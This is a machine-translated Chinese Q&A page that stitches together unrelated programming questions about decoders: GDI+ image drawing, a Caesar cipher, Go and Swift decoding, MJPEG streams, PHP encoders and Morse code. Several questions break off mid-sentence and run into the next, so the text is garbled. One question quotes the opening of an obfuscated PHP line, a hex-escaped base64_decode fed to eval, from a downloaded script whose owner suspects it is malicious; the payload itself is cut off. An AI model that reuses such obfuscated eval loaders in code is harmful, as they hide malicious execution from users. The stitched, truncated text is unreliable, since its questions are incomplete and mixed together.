谢谢你的回答,其实我并不感到疑惑,画面1024*768像素比100*100像素慢...这是一个如此简单的逻辑..这让我感到困惑的是,DrawImage的插值算法可能会很慢,而存在很多更好的算法,它的解码器似乎可以从具有一定分辨率的jpg解码,它真的很酷,我搜索了一段时间但没有找到任何免费的lib来做这个...
真奇怪!我在Paint方法中添加以下代码.c:\ 1.jpg是5M jpg文件,大约4000*3000
// ------------------------------------------------ --------------
HDC hdc = pDC->GetSafeHdc();
bitmap = Bitmap::FromFile(L"c:\\1.jpg",true);
Graphics graphics(hdc);
graphics.SetInterpolationMode( InterpolationModeNearestNeighbor );
graphics.DrawImage(bitmap,0,0,200,200);
以上真的很快!甚至是实时!我不认为解码5米JPG可以那么快!
// ------------------------------------------------ --------------
HDC hdc = pDC->GetSafeHdc();
bitmap = Bitmap::FromFile(L"c:\\1.jpg",true);
Graphics graphics(hdc);
graphics.SetInterpolationMode( InterpolationModeNearestNeighbor );
graphics.DrawImage(bitmap,0,0,2000,2000);
上面的代码变得非常慢
// ------------------------------------------------ --------------
如果我添加Bitmap = Bitmap :: FromFile(L"c:\ 1.jpg",true); //进入构造
离开
Graphics graphics(hdc);
graphics.SetInterpolationMode( InterpolationModeNearestNeighbor );
graphics.DrawImage(bitmap,0,0,2000,2000);
在OnPaint方法中,代码仍然有点慢~~~
// ------------------------------------------------ ------------------
与解码相比,drawImage Process非常慢......
他们为什么以及如何做到这一点？微软是否支付了负责解码器双倍工资的男性,而不是负责编写drawingImage的男性？
我目前正在尝试制作凯撒解码器,所以我试图找出如何获取用户输入的移位值,并使用该输入来移动列表中的每个项目.但每次我尝试,它只是一直给我一个错误.
例如:
word 在ASCII中将是:
[119, 111, 114, 100]
如果转移的给定输入是2,我希望列表是:
[121, 113, 116, 102]
请帮忙.这是我的第一次编程和这个凯撒解码器让我发疯:(
这就是我到目前为止所拥有的
import string
def main():
inString = raw_input("Please enter the word to be "
"translated: ")
key = raw_input("What is the key value or the shift? ")
toConv = [ord(i) for i in inString] # now want to shift it by key value
#toConv = [x+key for x in toConv] # this is not working, error gives 'cannot add int and str
print "This …我尝试使用以下代码将base64 png图像写入文件:
imageReader := base64.NewDecoder(base64.StdEncoding, strings.NewReader(Images[i]))
pngImage, _, err := image.Decode(imageReader)
if err != nil {
beego.Error(err)
}
bounds := pngImage.Bounds()
if imgFile, err = os.Create(fileName + ".png"); err != nil {
return Data{}
}
defer imgFile.Close()
_, err = imgFile.Write([]byte(pngImage))
界限还可以.最后一行的错误消息是
无法将pngImage(type image.Image)转换为type [] byte
显然,因为image.Image不是byte [].但是我该如何转换呢？或者甚至有一个更简单的版本来做到这一点.
我试图解码一些通过检索的JSON http.Get.但是,当我检查我初始化的结构时fmt.Println,它们总是空的.
我怀疑这是因为我的struct的结构与返回的JSON不一致,但我不确定如何解决它.一般来说,我不太确定解码器的工作原理.
这是JSON:
{
"response":[
{
"list": {
"category":"(noun)",
"synonyms":"histrion|player|thespian|role player|performer|performing artist"
}
},
{
"list": {
"category":"(noun)",
"synonyms":"doer|worker|person|individual|someone|somebody|mortal|soul"
}
}
]
}
这是我到目前为止所尝试的:
type SynonymResponse struct {
lists []SynonymList
}
type SynonymList struct {
category string
synonyms string
}
var synonyms SynonymResponse;
dec := json.NewDecoder(response.Body)
err := dec.Decode(&synonyms)
if err != nil {
log.Fatal(err)
}
fmt.Println(synonyms)
编辑:Per @Leo的回答和@ JimB的提示,我的尝试有两个问题.下面是正确的结构集,尽管Leo指出,这将是空的:
type SynonymResponses struct {
resp []SynonymResponse
}
type SynonymResponse struct {
listo SynonymList
} …我正在为学校开发一个UWP应用程序,我正在尝试在应用程序中显示来自我的覆盆子pi的MJPEG流.所有可用的解码器似乎适用于Windows Phone 8.1,但不适用于新的UWP应用程序.
我可以做些什么来在我的应用程序中使用这些流？
如果没有,是否有一个工具可用于转换流并以正确的格式在另一个端口上流式传输？这可以是覆盆子或只是窗户.
提前致谢
我想使用 decodeable 解析 JSON，但我得到一个错误类型不匹配，例如：
Swift.DecodingError.Context(codingPath: [], debugDescription: "预期解码数组，但找到了字典。"
我的 JSON ：
{
"code": 0,
"data": {
"_id": "string",
"title": "string",
"images": [
"string"
],
"shortDesc": "string",
"desc": "string",
"price": 0,
"discountPrice": 0,
"quantity": 0,
"category": {
"name": "string",
"val": "string"
},
"brand": {
"name": "string",
"val": "string"
},
"variants": [
{
"name": "string",
"value": "string",
"quantity": 0,
"variantCode": "string"
}
],
"stockCode": "string",
"updatedDate": "2018-06-05T14:04:51.226Z",
"status": true,
"isDeleted": true,
"isNew": true,
"freeCargo": true,
"createDate": "2018-06-05T14:04:51.226Z",
"note1": "string",
"note2": "string",
"note3": …可能重复:
最好的PHP编码器
我正在寻找一个基本上也可以管理许可证(域等)的PHP编码器.
我的主要标准基本上是价格.关键是哪个最安全.我相信它们可以全部解码,我甚至下载了一些解码器来自己测试.我只是想让它变得更难,所以可能任何编码器都会做得很好:-)
但哪一个是最实惠的呢？有任何想法吗？大多数似乎每年约300美元,每年更新100美元.
感谢您阅读这个公认的通用问题!
编辑(因为最近的评论)请不要发布答案,例如编码是否有意义,或者它是否可以轻松解码,或者是否会使客户烦恼等等.希望它对我来说听起来不太友好!
有字节数组:{0,0,0,0,52,246,141,6}
它以某种方式表示为字符串:AAAAADT4RyQ =
怎么做？什么是编码器？
我从http://www.freereviewscript.com下载了免费评论脚本
其中一个文件是编码的,我想确保它没有任何恶意!任何帮助将非常感激!谢谢!!
PHP代码(没有php标签):
$ve08156dfe67="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($ve08156dfe67(
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程序neede:用户将输入的莫尔斯码改为字母/英文字母(大写字母)
样本输入
2
.... . .-.. .-.. --- / .-- --- .-. .-.. -..
.--- --- -.- .
样品OutPut
情况1:
HELLO WORLD
案例2:
JOKE
我唯一的想法是让一个单词的第一个字符由用户输入..要检查它是否是'.' 或' - '然后仔细并手动分配..嵌套if(string[i][c]=='.') 和最后一个如果在每个嵌套上将if(string[i][c]==' ')打印出字母"E"示例
if(string[i][c]=='.') {
isspace(string[i][c+1])
printf("E");
}
现在我的问题是..有没有更简单的方法来解决这个问题？我不需要输入相同的' - '和'.' 如果声明..和东西？我的思绪爆炸了吗？因为我用if或case语句丢失了对应下一个char的跟踪？